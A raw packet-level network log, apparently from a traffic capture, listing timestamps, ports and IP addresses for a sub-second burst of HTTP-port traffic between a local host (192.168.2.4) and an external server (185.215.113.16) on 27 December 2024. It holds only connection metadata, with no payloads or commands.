Dec 27, 2024 15:04:22.110790014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.110837936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.110929966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.111614943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.111664057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.111695051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.112405062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.112452030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.112518072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.113204002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.113253117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.113328934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.114006042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.114046097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.114186049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.114834070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.114875078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.192038059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.192075014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.192115068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.192192078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.192291021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.192342043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.192893982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.193032026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.193068027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.193717003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.193815947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.193860054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.226257086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.226275921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.226321936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.226612091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.226692915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.226735115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.227189064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.227235079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.227271080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.227974892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.228068113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.228107929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.228981018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.229101896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.229142904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.229641914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.229659081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.229702950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.230410099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.230501890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.230541945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.231214046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.231316090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.231357098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.232098103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.232109070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.232156038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.232830048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.232945919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.232985020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.233640909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.233733892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.233783007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.234427929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.234524965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.234575987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.235385895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.235400915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.235443115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.236054897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.236212969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.236254930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.236860037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.236989021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.237030029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.239022017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.239036083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.239048004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.239058971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.239078999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.239099026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.316207886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.316374063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.316421032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.316519976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.316703081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.316744089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.316797018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.317544937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.317584991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.317627907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.318281889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.318325043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.350704908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.350747108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.350792885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.351013899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.351124048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.351164103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.351305962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.352533102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.352576017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.352598906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.352832079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.352844954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.352870941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.353523970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.353564024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.353667021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.354384899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.354433060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.354451895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.355165958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.355221033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.355248928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.359380007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.359390974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.359402895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.359414101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.359420061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.359426975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.359437943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.359442949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.359469891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.359731913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.359769106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.359915972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.360647917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.360660076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.360697985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.361506939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.361556053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.361690998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.362201929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.362248898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.362380028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.363071918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.363114119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.363261938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.363826990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.363881111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.363996983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.364718914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.364764929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.440386057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.440512896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.440566063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.440769911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.440881968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.440927982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.441303968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.441459894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.441503048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.442138910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.474914074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.475254059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.475361109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.475373030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.475841045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.475852013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.475873947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.476695061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.476706982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.476722956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.477540016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.477555037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.477567911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.477866888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.478544950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.478554964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.479217052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.479243994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.479361057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.479387045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.480127096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.480137110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.480721951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.480736971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.480748892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.480891943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.481427908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.481594086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.481874943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.482330084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.482361078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.482384920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.483092070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.483197927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.483226061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.483890057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.483967066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.483993053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.484838963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.484850883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.484905958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.485682964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.485693932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.485759974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.486349106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.486361027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.486423016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.487132072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.487257957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.487286091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.487984896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.492881060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.565109015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.565124035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.565323114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.565484047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.565496922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.565664053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.566231966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.566318989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.566373110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.567281008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.599071980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.599093914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.599164963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.599370956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.599447012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.599494934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.599945068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.600083113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.600285053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.600495100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.600553989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.600956917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.601017952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.601063967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.601692915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.601849079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.601929903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.602581978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.602595091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.603354931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.603398085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.603425026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.604129076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.604199886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.604257107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.605027914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.605040073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.605055094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.605098009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.605799913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.605812073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.605850935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.606785059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.606796026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.606837988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.607376099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.607780933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.607825041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.608221054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.608628988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.608794928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.609107018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.609118938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.609173059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.609867096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.609882116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.610044956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.610601902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.610812902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.610866070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.611473083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.611484051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.611536026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.689413071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.689433098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.689493895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.689744949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.689755917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.689788103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.690565109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.690577030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.690711975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.691353083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.723665953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.723690033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.723783016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.723834038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.723885059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.723907948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.724016905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.724069118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.724673033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.724901915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.724914074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.724962950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.725759983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.725773096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.725821972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.726531029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.726542950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.727370977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.727382898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.728144884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.728157043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.728169918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.728840113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.728863955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.729047060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.729340076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.729778051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.729790926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.729835033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.730634928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.730648994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.730690956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.731364965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.731412888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.731417894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.732192993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.732206106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.732386112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.732944965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.732978106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.732984066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.733701944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.733756065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.733814001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.734548092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.734703064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.734765053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.735399008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.735438108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.735440016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.736306906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.736470938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.813715935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.813812971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.814038038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.814070940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.814146042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.814265966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.814605951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.814690113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.814728975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.815444946 CET	80	49743	185.215.113.16	192.168.2.4
